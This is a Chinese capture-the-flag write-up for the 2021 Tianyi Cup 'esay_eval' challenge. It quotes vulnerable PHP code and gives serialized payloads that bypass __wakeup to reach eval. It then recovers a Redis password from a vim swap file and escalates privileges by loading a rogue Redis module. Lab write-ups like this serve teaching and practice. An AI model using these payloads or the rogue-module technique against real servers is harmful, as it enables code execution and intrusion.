[天翼杯 2021]esay_eval
<?php
class A{ #定义一个名为A的类
public $code = ""; #定义一个公共属性code
function __call($method,$args){ #call魔术方法 当调用一个不存在的成员方法的时候触发
eval($this->code); #将code的值以php代码执行
}
function __wakeup(){ # wakeup魔术方法反序列化时直接执行
$this->code = ""; # #将code的值设为空
}
}
class B{ #定义一个名为B的类
function __destruct(){ #destruct魔术方法当对象被销毁时自动调用
echo $this->a->a(); #通过echo输出了a中a方法
}
}
if(isset($_REQUEST['poc'])){ #接收poc
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret); #从poc中提取匹配BA和.*?的字符并存储到ret中
if (isset($ret[1])) { #判断ret[1]是不是存在
foreach ($ret[1] as $i) { #把ret[1]中数组的值赋值给$i
if(intval($i)!==1){ 通过intval将$1改成整数 并怕判断是不是等于1
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
反推
function __call($method,$args){
eval($this->code);
call方法当调用一个不存在的方法时使用
function __destruct(){
echo $this->a->a();
}
destruct中调用了不存在的a方法
而destruct的调用要在类销毁时调用
wakeup会给code赋值导致eval执行错误所以我们要绕过wakeup
那destruct的调用我们要先创建B类
new B -> destruct -> call
B B A
<?php
class A{
public $code='phpinfo();';
}
class B{
public $a;
}
$b = new B();
$b->a = new A();
echo serialize($b);
?>
这里B中的a用来实例化A
这样$this->a->a() 就是 A类中的a()因为没有a()所以call会调用
这里因为匹配B A 类之后的数字判断是不是1 所以不能增加属性个数,我们可以在加真实属性的个数
还有这里匹配的是大写字母 类的名称大小都可以
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"z":Z;}
O:1:"b":1:{s:1:"a";O:1:"a":1:{s:4:"code";s:10:"phpinfo();";}}
这里过滤了system 所以不能直接读取
发现其他目标没有权限 我们下在config.php.swp
vim -r config.php.swp
define("REDIS_PASS","you_cannot_guess_it");
define("DB_DATABASE" ,"test");
define("DB_PASSwOrd","");
define("DB_USERNAME","root");
define("DB_HOST" , "localhost");
发现Redis密码,猜测是Redis提权
用蚁剑连接Redis
http:// https://github.com/Medicean/AS_Redis
这里有教程
或者在蚁剑中找到插件商店
但是这个比较慢
这样就好了
然后使用redis利用脚本
https://github.com/Dliv3/redis-rogue-server
上传exp.so
MODULE LOAD 加载命令
这题无疑是一道很好的题,一步一步坐下来很有意思